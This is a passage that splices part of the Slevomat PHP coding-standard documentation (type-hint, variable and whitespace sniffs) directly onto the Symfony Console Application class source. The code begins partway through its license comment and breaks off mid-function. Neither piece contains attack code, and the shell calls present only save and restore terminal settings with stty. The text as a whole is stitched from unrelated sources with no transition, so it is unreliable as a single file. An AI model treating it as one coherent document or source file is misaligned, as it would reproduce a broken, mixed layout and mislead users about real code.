typehint. It's on by default if you're on PHP 7.4+ * `enableMixedTypeHint`: enforces to transform `@var mixed` into native `mixed` typehint. It's on by default if you're on PHP 8.0+. It can be enabled only when `enableNativeTypeHint` is enabled too. * `enableUnionTypeHint`: enforces to transform `@var string|int` into native `string|int` typehint. It's on by default if you're on PHP 8.0+. It can be enabled only when `enableNativeTypeHint` is enabled too. * `enableIntersectionTypeHint`: enforces to transform `@var Foo&Bar` into native `Foo&Bar` typehint. It's on by default if you're on PHP 8.1+. It can be enabled only when `enableNativeTypeHint` is enabled too. * `enableStandaloneNullTrueFalseTypeHints`: enforces to transform `@var true`, `@var false` or `@var null` into native typehints. It's on by default if you're on PHP 8.2+. It can be enabled only when `enableNativeTypeHint` is enabled too. * `traversableTypeHints`: enforces which typehints must have specified contained type. E.g. if you set this to `\Doctrine\Common\Collections\Collection`, then `\Doctrine\Common\Collections\Collection` must always be supplied with the contained type: `\Doctrine\Common\Collections\Collection|Foo[]`. This sniff can cause an error if you're overriding parent property which does not have typehints. In such cases add `@phpcsSuppress SlevomatCodingStandard.TypeHints.PropertyTypeHint.MissingNativeTypeHint` annotation to the property to have this sniff skip it. #### SlevomatCodingStandard.TypeHints.ReturnTypeHint 🔧🚧 * Checks for missing return typehints in case they can be declared natively. If the phpDoc contains something that can be written as a native PHP 7.0+ typehint, this sniff reports that. * Checks for useless `@return` annotations. If the native method declaration contains everything and the phpDoc does not add anything useful, it's reported as useless and can optionally be automatically removed with `phpcbf`. * Forces to specify what's in traversable types like `array`, `iterable` and `\Traversable`. Sniff provides the following settings: * `enableObjectTypeHint`: enforces to transform `@return object` into native `object` typehint. It's on by default if you're on PHP 7.2+ * `enableStaticTypeHint`: enforces to transform `@return static` into native `static` typehint. It's on by default if you're on PHP 8.0+ * `enableMixedTypeHint`: enforces to transform `@return mixed` into native `mixed` typehint. It's on by default if you're on PHP 8.0+ * `enableUnionTypeHint`: enforces to transform `@return string|int` into native `string|int` typehint. It's on by default if you're on PHP 8.0+. * `enableIntersectionTypeHint`: enforces to transform `@return Foo&Bar` into native `Foo&Bar` typehint. It's on by default if you're on PHP 8.1+. * `enableNeverTypeHint`: enforces to transform `@return never` into native `never` typehint. It's on by default if you're on PHP 8.1+. * `enableStandaloneNullTrueFalseTypeHints`: enforces to transform `@return true`, `@return false` or `@return null` into native typehints. It's on by default if you're on PHP 8.2+. * `traversableTypeHints`: enforces which typehints must have specified contained type. E.g. if you set this to `\Doctrine\Common\Collections\Collection`, then `\Doctrine\Common\Collections\Collection` must always be supplied with the contained type: `\Doctrine\Common\Collections\Collection|Foo[]`. You can add `@phpcsSuppress SlevomatCodingStandard.TypeHints.ReturnTypeHint.MissingNativeTypeHint` annotation to the method to skip the check. #### SlevomatCodingStandard.TypeHints.ReturnTypeHintSpacing 🔧 Enforces consistent formatting of return typehints, like this: ```php function foo(): ?int ``` Sniff provides the following settings: * `spacesCountBeforeColon`: the number of spaces expected between closing brace and colon. #### SlevomatCodingStandard.TypeHints.UnionTypeHintFormat 🔧 Checks format of union type hints. Sniff provides the following settings: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. * `withSpaces`: `yes` requires spaces around `|`, `no` requires no space around `|`. None is set by default so both are enabled. * `shortNullable`: `yes` requires usage of `?` for nullable type hint, `no` disallows it. None is set by default so both are enabled. * `nullPosition`: `first` requires `null` on first position in the type hint, `last` requires last position. None is set by default so `null` can be everywhere. #### SlevomatCodingStandard.TypeHints.UselessConstantTypeHint 🔧 Reports useless `@var` annotation (or whole documentation comment) for constants because the type of constant is always clear. ## Variables #### SlevomatCodingStandard.Variables.DisallowSuperGlobalVariable Disallows use of super global variables. #### SlevomatCodingStandard.Variables.DisallowVariableVariable Disallows use of variable variables. #### SlevomatCodingStandard.Variables.DuplicateAssignmentToVariable Looks for duplicate assignments to a variable. #### SlevomatCodingStandard.Variables.UnusedVariable Looks for unused variables. Sniff provides the following settings: * `ignoreUnusedValuesWhenOnlyKeysAreUsedInForeach` (default: `false`): ignore unused `$value` in foreach when only `$key` is used ```php foreach ($values as $key => $value) { echo $key; } ``` #### SlevomatCodingStandard.Variables.UselessVariable 🔧 Looks for useless variables. ## Whitespaces #### SlevomatCodingStandard.Whitespaces.DuplicateSpaces 🔧 Checks duplicate spaces anywhere because there aren't sniffs for every part of code to check formatting. Sniff provides the following settings: * `ignoreSpacesBeforeAssignment`: to allow multiple spaces to align assignments. * `ignoreSpacesInAnnotation`: to allow multiple spaces to align annotations. * `ignoreSpacesInComment`: to allow multiple spaces to align content of the comment. * `ignoreSpacesInParameters`: to allow multiple spaces to align parameters. * `ignoreSpacesInMatch`: to allow multiple spaces to align `match` expressions. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Command\CompleteCommand; use Symfony\Component\Console\Command\DumpCompletionCommand; use Symfony\Component\Console\Command\HelpCommand; use Symfony\Component\Console\Command\LazyCommand; use Symfony\Component\Console\Command\ListCommand; use Symfony\Component\Console\Command\SignalableCommandInterface; use Symfony\Component\Console\CommandLoader\CommandLoaderInterface; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Event\ConsoleCommandEvent; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleSignalEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; use Symfony\Component\Console\Exception\CommandNotFoundException; use Symfony\Component\Console\Exception\ExceptionInterface; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Exception\NamespaceNotFoundException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\DebugFormatterHelper; use Symfony\Component\Console\Helper\FormatterHelper; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\ProcessHelper; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Input\ArgvInput; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputAwareInterface; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\ConsoleOutput; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\SignalRegistry\SignalRegistry; use Symfony\Component\Console\Style\SymfonyStyle; use Symfony\Component\ErrorHandler\ErrorHandler; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; use Symfony\Contracts\Service\ResetInterface; /** * An Application is the container for a collection of commands. * * It is the main entry point of a Console application. * * This class is optimized for a standard CLI environment. * * Usage: * * $app = new Application('myapp', '1.0 (stable)'); * $app->add(new SimpleCommand()); * $app->run(); * * @author Fabien Potencier */ class Application implements ResetInterface { private $commands = []; private $wantHelps = false; private $runningCommand; private $name; private $version; private $commandLoader; private $catchExceptions = true; private $autoExit = true; private $definition; private $helperSet; private $dispatcher; private $terminal; private $defaultCommand; private $singleCommand = false; private $initialized; private $signalRegistry; private $signalsToDispatchEvent = []; public function __construct(string $name = 'UNKNOWN', string $version = 'UNKNOWN') { $this->name = $name; $this->version = $version; $this->terminal = new Terminal(); $this->defaultCommand = 'list'; if (\defined('SIGINT') && SignalRegistry::isSupported()) { $this->signalRegistry = new SignalRegistry(); $this->signalsToDispatchEvent = [\SIGINT, \SIGTERM, \SIGUSR1, \SIGUSR2]; } } /** * @final */ public function setDispatcher(EventDispatcherInterface $dispatcher) { $this->dispatcher = $dispatcher; } public function setCommandLoader(CommandLoaderInterface $commandLoader) { $this->commandLoader = $commandLoader; } public function getSignalRegistry(): SignalRegistry { if (!$this->signalRegistry) { throw new RuntimeException('Signals are not supported. Make sure that the `pcntl` extension is installed and that "pcntl_*" functions are not disabled by your php.ini\'s "disable_functions" directive.'); } return $this->signalRegistry; } public function setSignalsToDispatchEvent(int ...$signalsToDispatchEvent) { $this->signalsToDispatchEvent = $signalsToDispatchEvent; } /** * Runs the current application. * * @return int 0 if everything went fine, or an error code * * @throws \Exception When running fails. Bypass this when {@link setCatchExceptions()}. */ public function run(?InputInterface $input = null, ?OutputInterface $output = null) { if (\function_exists('putenv')) { @putenv('LINES='.$this->terminal->getHeight()); @putenv('COLUMNS='.$this->terminal->getWidth()); } if (null === $input) { $input = new ArgvInput(); } if (null === $output) { $output = new ConsoleOutput(); } $renderException = function (\Throwable $e) use ($output) { if ($output instanceof ConsoleOutputInterface) { $this->renderThrowable($e, $output->getErrorOutput()); } else { $this->renderThrowable($e, $output); } }; if ($phpHandler = set_exception_handler($renderException)) { restore_exception_handler(); if (!\is_array($phpHandler) || !$phpHandler[0] instanceof ErrorHandler) { $errorHandler = true; } elseif ($errorHandler = $phpHandler[0]->setExceptionHandler($renderException)) { $phpHandler[0]->setExceptionHandler($errorHandler); } } try { $this->configureIO($input, $output); $exitCode = $this->doRun($input, $output); } catch (\Exception $e) { if (!$this->catchExceptions) { throw $e; } $renderException($e); $exitCode = $e->getCode(); if (is_numeric($exitCode)) { $exitCode = (int) $exitCode; if ($exitCode <= 0) { $exitCode = 1; } } else { $exitCode = 1; } } finally { // if the exception handler changed, keep it // otherwise, unregister $renderException if (!$phpHandler) { if (set_exception_handler($renderException) === $renderException) { restore_exception_handler(); } restore_exception_handler(); } elseif (!$errorHandler) { $finalHandler = $phpHandler[0]->setExceptionHandler(null); if ($finalHandler !== $renderException) { $phpHandler[0]->setExceptionHandler($finalHandler); } } } if ($this->autoExit) { if ($exitCode > 255) { $exitCode = 255; } exit($exitCode); } return $exitCode; } /** * Runs the current application. * * @return int 0 if everything went fine, or an error code */ public function doRun(InputInterface $input, OutputInterface $output) { if (true === $input->hasParameterOption(['--version', '-V'], true)) { $output->writeln($this->getLongVersion()); return 0; } try { // Makes ArgvInput::getFirstArgument() able to distinguish an option from an argument. $input->bind($this->getDefinition()); } catch (ExceptionInterface $e) { // Errors must be ignored, full binding/validation happens later when the command is known. } $name = $this->getCommandName($input); if (true === $input->hasParameterOption(['--help', '-h'], true)) { if (!$name) { $name = 'help'; $input = new ArrayInput(['command_name' => $this->defaultCommand]); } else { $this->wantHelps = true; } } if (!$name) { $name = $this->defaultCommand; $definition = $this->getDefinition(); $definition->setArguments(array_merge( $definition->getArguments(), [ 'command' => new InputArgument('command', InputArgument::OPTIONAL, $definition->getArgument('command')->getDescription(), $name), ] )); } try { $this->runningCommand = null; // the command name MUST be the first element of the input $command = $this->find($name); } catch (\Throwable $e) { if (!($e instanceof CommandNotFoundException && !$e instanceof NamespaceNotFoundException) || 1 !== \count($alternatives = $e->getAlternatives()) || !$input->isInteractive()) { if (null !== $this->dispatcher) { $event = new ConsoleErrorEvent($input, $output, $e); $this->dispatcher->dispatch($event, ConsoleEvents::ERROR); if (0 === $event->getExitCode()) { return 0; } $e = $event->getError(); } throw $e; } $alternative = $alternatives[0]; $style = new SymfonyStyle($input, $output); $output->writeln(''); $formattedBlock = (new FormatterHelper())->formatBlock(sprintf('Command "%s" is not defined.', $name), 'error', true); $output->writeln($formattedBlock); if (!$style->confirm(sprintf('Do you want to run "%s" instead? ', $alternative), false)) { if (null !== $this->dispatcher) { $event = new ConsoleErrorEvent($input, $output, $e); $this->dispatcher->dispatch($event, ConsoleEvents::ERROR); return $event->getExitCode(); } return 1; } $command = $this->find($alternative); } if ($command instanceof LazyCommand) { $command = $command->getCommand(); } $this->runningCommand = $command; $exitCode = $this->doRunCommand($command, $input, $output); $this->runningCommand = null; return $exitCode; } /** * {@inheritdoc} */ public function reset() { } public function setHelperSet(HelperSet $helperSet) { $this->helperSet = $helperSet; } /** * Get the helper set associated with the command. * * @return HelperSet */ public function getHelperSet() { if (!$this->helperSet) { $this->helperSet = $this->getDefaultHelperSet(); } return $this->helperSet; } public function setDefinition(InputDefinition $definition) { $this->definition = $definition; } /** * Gets the InputDefinition related to this Application. * * @return InputDefinition */ public function getDefinition() { if (!$this->definition) { $this->definition = $this->getDefaultInputDefinition(); } if ($this->singleCommand) { $inputDefinition = $this->definition; $inputDefinition->setArguments(); return $inputDefinition; } return $this->definition; } /** * Adds suggestions to $suggestions for the current completion input (e.g. option or argument). */ public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ( CompletionInput::TYPE_ARGUMENT_VALUE === $input->getCompletionType() && 'command' === $input->getCompletionName() ) { $commandNames = []; foreach ($this->all() as $name => $command) { // skip hidden commands and aliased commands as they already get added below if ($command->isHidden() || $command->getName() !== $name) { continue; } $commandNames[] = $command->getName(); foreach ($command->getAliases() as $name) { $commandNames[] = $name; } } $suggestions->suggestValues(array_filter($commandNames)); return; } if (CompletionInput::TYPE_OPTION_NAME === $input->getCompletionType()) { $suggestions->suggestOptions($this->getDefinition()->getOptions()); return; } } /** * Gets the help message. * * @return string */ public function getHelp() { return $this->getLongVersion(); } /** * Gets whether to catch exceptions or not during commands execution. * * @return bool */ public function areExceptionsCaught() { return $this->catchExceptions; } /** * Sets whether to catch exceptions or not during commands execution. */ public function setCatchExceptions(bool $boolean) { $this->catchExceptions = $boolean; } /** * Gets whether to automatically exit after a command execution or not. * * @return bool */ public function isAutoExitEnabled() { return $this->autoExit; } /** * Sets whether to automatically exit after a command execution or not. */ public function setAutoExit(bool $boolean) { $this->autoExit = $boolean; } /** * Gets the name of the application. * * @return string */ public function getName() { return $this->name; } /** * Sets the application name. **/ public function setName(string $name) { $this->name = $name; } /** * Gets the application version. * * @return string */ public function getVersion() { return $this->version; } /** * Sets the application version. */ public function setVersion(string $version) { $this->version = $version; } /** * Returns the long version of the application. * * @return string */ public function getLongVersion() { if ('UNKNOWN' !== $this->getName()) { if ('UNKNOWN' !== $this->getVersion()) { return sprintf('%s %s', $this->getName(), $this->getVersion()); } return $this->getName(); } return 'Console Tool'; } /** * Registers a new command. * * @return Command */ public function register(string $name) { return $this->add(new Command($name)); } /** * Adds an array of command objects. * * If a Command is not enabled it will not be added. * * @param Command[] $commands An array of commands */ public function addCommands(array $commands) { foreach ($commands as $command) { $this->add($command); } } /** * Adds a command object. * * If a command with the same name already exists, it will be overridden. * If the command is not enabled it will not be added. * * @return Command|null */ public function add(Command $command) { $this->init(); $command->setApplication($this); if (!$command->isEnabled()) { $command->setApplication(null); return null; } if (!$command instanceof LazyCommand) { // Will throw if the command is not correctly initialized. $command->getDefinition(); } if (!$command->getName()) { throw new LogicException(sprintf('The command defined in "%s" cannot have an empty name.', get_debug_type($command))); } $this->commands[$command->getName()] = $command; foreach ($command->getAliases() as $alias) { $this->commands[$alias] = $command; } return $command; } /** * Returns a registered command by name or alias. * * @return Command * * @throws CommandNotFoundException When given command name does not exist */ public function get(string $name) { $this->init(); if (!$this->has($name)) { throw new CommandNotFoundException(sprintf('The command "%s" does not exist.', $name)); } // When the command has a different name than the one used at the command loader level if (!isset($this->commands[$name])) { throw new CommandNotFoundException(sprintf('The "%s" command cannot be found because it is registered under multiple names. Make sure you don\'t set a different name via constructor or "setName()".', $name)); } $command = $this->commands[$name]; if ($this->wantHelps) { $this->wantHelps = false; $helpCommand = $this->get('help'); $helpCommand->setCommand($command); return $helpCommand; } return $command; } /** * Returns true if the command exists, false otherwise. * * @return bool */ public function has(string $name) { $this->init(); return isset($this->commands[$name]) || ($this->commandLoader && $this->commandLoader->has($name) && $this->add($this->commandLoader->get($name))); } /** * Returns an array of all unique namespaces used by currently registered commands. * * It does not return the global namespace which always exists. * * @return string[] */ public function getNamespaces() { $namespaces = []; foreach ($this->all() as $command) { if ($command->isHidden()) { continue; } $namespaces[] = $this->extractAllNamespaces($command->getName()); foreach ($command->getAliases() as $alias) { $namespaces[] = $this->extractAllNamespaces($alias); } } return array_values(array_unique(array_filter(array_merge([], ...$namespaces)))); } /** * Finds a registered namespace by a name or an abbreviation. * * @return string * * @throws NamespaceNotFoundException When namespace is incorrect or ambiguous */ public function findNamespace(string $namespace) { $allNamespaces = $this->getNamespaces(); $expr = implode('[^:]*:', array_map('preg_quote', explode(':', $namespace))).'[^:]*'; $namespaces = preg_grep('{^'.$expr.'}', $allNamespaces); if (empty($namespaces)) { $message = sprintf('There are no commands defined in the "%s" namespace.', $namespace); if ($alternatives = $this->findAlternatives($namespace, $allNamespaces)) { if (1 == \count($alternatives)) { $message .= "\n\nDid you mean this?\n "; } else { $message .= "\n\nDid you mean one of these?\n "; } $message .= implode("\n ", $alternatives); } throw new NamespaceNotFoundException($message, $alternatives); } $exact = \in_array($namespace, $namespaces, true); if (\count($namespaces) > 1 && !$exact) { throw new NamespaceNotFoundException(sprintf("The namespace \"%s\" is ambiguous.\nDid you mean one of these?\n%s.", $namespace, $this->getAbbreviationSuggestions(array_values($namespaces))), array_values($namespaces)); } return $exact ? $namespace : reset($namespaces); } /** * Finds a command by name or alias. * * Contrary to get, this command tries to find the best * match if you give it an abbreviation of a name or alias. * * @return Command * * @throws CommandNotFoundException When command name is incorrect or ambiguous */ public function find(string $name) { $this->init(); $aliases = []; foreach ($this->commands as $command) { foreach ($command->getAliases() as $alias) { if (!$this->has($alias)) { $this->commands[$alias] = $command; } } } if ($this->has($name)) { return $this->get($name); } $allCommands = $this->commandLoader ? array_merge($this->commandLoader->getNames(), array_keys($this->commands)) : array_keys($this->commands); $expr = implode('[^:]*:', array_map('preg_quote', explode(':', $name))).'[^:]*'; $commands = preg_grep('{^'.$expr.'}', $allCommands); if (empty($commands)) { $commands = preg_grep('{^'.$expr.'}i', $allCommands); } // if no commands matched or we just matched namespaces if (empty($commands) || \count(preg_grep('{^'.$expr.'$}i', $commands)) < 1) { if (false !== $pos = strrpos($name, ':')) { // check if a namespace exists and contains commands $this->findNamespace(substr($name, 0, $pos)); } $message = sprintf('Command "%s" is not defined.', $name); if ($alternatives = $this->findAlternatives($name, $allCommands)) { // remove hidden commands $alternatives = array_filter($alternatives, function ($name) { return !$this->get($name)->isHidden(); }); if (1 == \count($alternatives)) { $message .= "\n\nDid you mean this?\n "; } else { $message .= "\n\nDid you mean one of these?\n "; } $message .= implode("\n ", $alternatives); } throw new CommandNotFoundException($message, array_values($alternatives)); } // filter out aliases for commands which are already on the list if (\count($commands) > 1) { $commandList = $this->commandLoader ? array_merge(array_flip($this->commandLoader->getNames()), $this->commands) : $this->commands; $commands = array_unique(array_filter($commands, function ($nameOrAlias) use (&$commandList, $commands, &$aliases) { if (!$commandList[$nameOrAlias] instanceof Command) { $commandList[$nameOrAlias] = $this->commandLoader->get($nameOrAlias); } $commandName = $commandList[$nameOrAlias]->getName(); $aliases[$nameOrAlias] = $commandName; return $commandName === $nameOrAlias || !\in_array($commandName, $commands); })); } if (\count($commands) > 1) { $usableWidth = $this->terminal->getWidth() - 10; $abbrevs = array_values($commands); $maxLen = 0; foreach ($abbrevs as $abbrev) { $maxLen = max(Helper::width($abbrev), $maxLen); } $abbrevs = array_map(function ($cmd) use ($commandList, $usableWidth, $maxLen, &$commands) { if ($commandList[$cmd]->isHidden()) { unset($commands[array_search($cmd, $commands)]); return false; } $abbrev = str_pad($cmd, $maxLen, ' ').' '.$commandList[$cmd]->getDescription(); return Helper::width($abbrev) > $usableWidth ? Helper::substr($abbrev, 0, $usableWidth - 3).'...' : $abbrev; }, array_values($commands)); if (\count($commands) > 1) { $suggestions = $this->getAbbreviationSuggestions(array_filter($abbrevs)); throw new CommandNotFoundException(sprintf("Command \"%s\" is ambiguous.\nDid you mean one of these?\n%s.", $name, $suggestions), array_values($commands)); } } $command = $this->get(reset($commands)); if ($command->isHidden()) { throw new CommandNotFoundException(sprintf('The command "%s" does not exist.', $name)); } return $command; } /** * Gets the commands (registered in the given namespace if provided). * * The array keys are the full names and the values the command instances. * * @return Command[] */ public function all(?string $namespace = null) { $this->init(); if (null === $namespace) { if (!$this->commandLoader) { return $this->commands; } $commands = $this->commands; foreach ($this->commandLoader->getNames() as $name) { if (!isset($commands[$name]) && $this->has($name)) { $commands[$name] = $this->get($name); } } return $commands; } $commands = []; foreach ($this->commands as $name => $command) { if ($namespace === $this->extractNamespace($name, substr_count($namespace, ':') + 1)) { $commands[$name] = $command; } } if ($this->commandLoader) { foreach ($this->commandLoader->getNames() as $name) { if (!isset($commands[$name]) && $namespace === $this->extractNamespace($name, substr_count($namespace, ':') + 1) && $this->has($name)) { $commands[$name] = $this->get($name); } } } return $commands; } /** * Returns an array of possible abbreviations given a set of names. * * @return string[][] */ public static function getAbbreviations(array $names) { $abbrevs = []; foreach ($names as $name) { for ($len = \strlen($name); $len > 0; --$len) { $abbrev = substr($name, 0, $len); $abbrevs[$abbrev][] = $name; } } return $abbrevs; } public function renderThrowable(\Throwable $e, OutputInterface $output): void { $output->writeln('', OutputInterface::VERBOSITY_QUIET); $this->doRenderThrowable($e, $output); if (null !== $this->runningCommand) { $output->writeln(sprintf('%s', OutputFormatter::escape(sprintf($this->runningCommand->getSynopsis(), $this->getName()))), OutputInterface::VERBOSITY_QUIET); $output->writeln('', OutputInterface::VERBOSITY_QUIET); } } protected function doRenderThrowable(\Throwable $e, OutputInterface $output): void { do { $message = trim($e->getMessage()); if ('' === $message || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $class = get_debug_type($e); $title = sprintf(' [%s%s] ', $class, 0 !== ($code = $e->getCode()) ? ' ('.$code.')' : ''); $len = Helper::width($title); } else { $len = 0; } if (str_contains($message, "@anonymous\0")) { $message = preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)?[0-9a-fA-F]++/', function ($m) { return class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' : $m[0]; }, $message); } $width = $this->terminal->getWidth() ? $this->terminal->getWidth() - 1 : \PHP_INT_MAX; $lines = []; foreach ('' !== $message ? preg_split('/\r?\n/', $message) : [] as $line) { foreach ($this->splitStringByWidth($line, $width - 4) as $line) { // pre-format lines to get the right string length $lineLength = Helper::width($line) + 4; $lines[] = [$line, $lineLength]; $len = max($lineLength, $len); } } $messages = []; if (!$e instanceof ExceptionInterface || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $messages[] = sprintf('%s', OutputFormatter::escape(sprintf('In %s line %s:', basename($e->getFile()) ?: 'n/a', $e->getLine() ?: 'n/a'))); } $messages[] = $emptyLine = sprintf('%s', str_repeat(' ', $len)); if ('' === $message || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $messages[] = sprintf('%s%s', $title, str_repeat(' ', max(0, $len - Helper::width($title)))); } foreach ($lines as $line) { $messages[] = sprintf(' %s %s', OutputFormatter::escape($line[0]), str_repeat(' ', $len - $line[1])); } $messages[] = $emptyLine; $messages[] = ''; $output->writeln($messages, OutputInterface::VERBOSITY_QUIET); if (OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $output->writeln('Exception trace:', OutputInterface::VERBOSITY_QUIET); // exception related properties $trace = $e->getTrace(); array_unshift($trace, [ 'function' => '', 'file' => $e->getFile() ?: 'n/a', 'line' => $e->getLine() ?: 'n/a', 'args' => [], ]); for ($i = 0, $count = \count($trace); $i < $count; ++$i) { $class = $trace[$i]['class'] ?? ''; $type = $trace[$i]['type'] ?? ''; $function = $trace[$i]['function'] ?? ''; $file = $trace[$i]['file'] ?? 'n/a'; $line = $trace[$i]['line'] ?? 'n/a'; $output->writeln(sprintf(' %s%s at %s:%s', $class, $function ? $type.$function.'()' : '', $file, $line), OutputInterface::VERBOSITY_QUIET); } $output->writeln('', OutputInterface::VERBOSITY_QUIET); } } while ($e = $e->getPrevious()); } /** * Configures the input and output instances based on the user arguments and options. */ protected function configureIO(InputInterface $input, OutputInterface $output) { if (true === $input->hasParameterOption(['--ansi'], true)) { $output->setDecorated(true); } elseif (true === $input->hasParameterOption(['--no-ansi'], true)) { $output->setDecorated(false); } if (true === $input->hasParameterOption(['--no-interaction', '-n'], true)) { $input->setInteractive(false); } switch ($shellVerbosity = (int) getenv('SHELL_VERBOSITY')) { case -1: $output->setVerbosity(OutputInterface::VERBOSITY_QUIET); break; case 1: $output->setVerbosity(OutputInterface::VERBOSITY_VERBOSE); break; case 2: $output->setVerbosity(OutputInterface::VERBOSITY_VERY_VERBOSE); break; case 3: $output->setVerbosity(OutputInterface::VERBOSITY_DEBUG); break; default: $shellVerbosity = 0; break; } if (true === $input->hasParameterOption(['--quiet', '-q'], true)) { $output->setVerbosity(OutputInterface::VERBOSITY_QUIET); $shellVerbosity = -1; } else { if ($input->hasParameterOption('-vvv', true) || $input->hasParameterOption('--verbose=3', true) || 3 === $input->getParameterOption('--verbose', false, true)) { $output->setVerbosity(OutputInterface::VERBOSITY_DEBUG); $shellVerbosity = 3; } elseif ($input->hasParameterOption('-vv', true) || $input->hasParameterOption('--verbose=2', true) || 2 === $input->getParameterOption('--verbose', false, true)) { $output->setVerbosity(OutputInterface::VERBOSITY_VERY_VERBOSE); $shellVerbosity = 2; } elseif ($input->hasParameterOption('-v', true) || $input->hasParameterOption('--verbose=1', true) || $input->hasParameterOption('--verbose', true) || $input->getParameterOption('--verbose', false, true)) { $output->setVerbosity(OutputInterface::VERBOSITY_VERBOSE); $shellVerbosity = 1; } } if (-1 === $shellVerbosity) { $input->setInteractive(false); } if (\function_exists('putenv')) { @putenv('SHELL_VERBOSITY='.$shellVerbosity); } $_ENV['SHELL_VERBOSITY'] = $shellVerbosity; $_SERVER['SHELL_VERBOSITY'] = $shellVerbosity; } /** * Runs the current command. * * If an event dispatcher has been attached to the application, * events are also dispatched during the life-cycle of the command. * * @return int 0 if everything went fine, or an error code */ protected function doRunCommand(Command $command, InputInterface $input, OutputInterface $output) { foreach ($command->getHelperSet() as $helper) { if ($helper instanceof InputAwareInterface) { $helper->setInput($input); } } if ($this->signalsToDispatchEvent) { $commandSignals = $command instanceof SignalableCommandInterface ? $command->getSubscribedSignals() : []; if ($commandSignals || null !== $this->dispatcher) { if (!$this->signalRegistry) { throw new RuntimeException('Unable to subscribe to signal events. Make sure that the `pcntl` extension is installed and that "pcntl_*" functions are not disabled by your php.ini\'s "disable_functions" directive.'); } if (Terminal::hasSttyAvailable()) { $sttyMode = shell_exec('stty -g'); foreach ([\SIGINT, \SIGTERM] as $signal) { $this->signalRegistry->register($signal, static function () use ($sttyMode) { shell_exec('stty '.$sttyMode); }); } } } if (null !== $this->dispatcher) { foreach ($this->signalsToDispatchEvent as $signal) { $event = new ConsoleSignalEvent($command, $input, $output, $signal); $this->signalRegistry->register($signal, function ($signal, $hasNext) use ($event) { $this->dispatcher->dispatch($event, ConsoleEvents::SIGNAL); // No more handlers, we try to simulate PHP default behavior if (!$hasNext) { if (!\in_array($signal, [\SIGUSR1, \SIGUSR2], true)) { exit(0); } } }); } } foreach ($commandSignals as $signal) { $this->signalRegistry->register($signal, [$command, 'handleSignal']); } } if (null === $this->dispatcher) { return $command->run($input, $output); } // bind before the console.command event, so the listeners have access to input options/arguments try { $command->mergeApplicationDefinition(); $input->bind($command->getDefinition()); } catch (ExceptionInterface $e) { // ignore invalid options/arguments for now, to allow the event listeners to customize the InputDefinition } $event = new ConsoleCommandEvent($command, $input, $output); $e = null; try { $this->dispatcher->dispatch($event, ConsoleEvents::COMMAND); if ($event->commandShouldRun()) { $exitCode = $command->run($input, $output); } else { $exitCode = ConsoleCommandEvent::RETURN_CODE_DISABLED; } } catch (\Throwable $e) { $event = new ConsoleErrorEvent($input, $output, $e, $command); $this->dispatcher->dispatch($event, ConsoleEvents::ERROR); $e = $event->getError(); if (0 === $exitCode = $event->getExitCode()) { $e = null; } } $event = new ConsoleTerminateEvent($command, $input, $output, $exitCode); $this->dispatcher->dispatch($event, ConsoleEvents::TERMINATE); if (null !== $e) { throw $e; } return $event->getExitCode(); } /** * Gets the name of the command based on input. * * @return string|null */ protected function getCommandName(InputInterface $input) { return $this->singleCommand ? $this->defaultCommand : $input->getFirstArgument(); } /** * Gets the default input definition. * * @return InputDefinition */ protected function getDefaultInputDefinition() { return new InputDefinition([ new InputArgument('command', InputArgument::REQUIRED, 'The command to execute'), new InputOption('--help', '-h', InputOption::VALUE_NONE, 'Display help for the given command. When no command is given display help for the '.$this->defaultCommand.' command'), new InputOption('--quiet', '-q', InputOption::VALUE_NONE, 'Do not output any message'), new InputOption('--verbose', '-v|vv|vvv', InputOption::VALUE_NONE, 'Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug'), new InputOption('--version', '-V', InputOption::VALUE_NONE, 'Display this application version'), new InputOption('--ansi', '', InputOption::VALUE_NEGATABLE, 'Force (or disable --no-ansi) ANSI output', null), new InputOption('--no-interaction', '-n', InputOption::VALUE_NONE, 'Do not ask any interactive question'), ]); } /** * Gets the default commands that should always be available. * * @return Command[] */ protected function getDefaultCommands() { return [new HelpCommand(), new ListCommand(), new CompleteCommand(), new DumpCompletionCommand()]; } /** * Gets the default helper set with the helpers that should always be available. * * @return HelperSet */ protected function getDefaultHelperSet() { return new HelperSet([ new FormatterHelper(), new DebugFormatterHelper(), new ProcessHelper(), new QuestionHelper(), ]); } /** * Returns abbreviated suggestions in string format. */ private function getAbbreviationSuggestions(array $abbrevs): string { return ' '.implode("\n ", $abbrevs); } /** * Returns the namespace part of the command name. * * This method is not part of public API and should not be used directly. * * @return string */ public function extractNamespace(string $name, ?int $limit = null) { $parts = explode(':', $name, -1); return implode(':', null === $limit ? $parts : \array_slice($parts, 0, $limit)); } /** * Finds alternative of $name among $collection, * if nothing is found in $collection, try in $abbrevs. * * @return string[] */ private function findAlternatives(string $name, iterable $collection): array { $threshold = 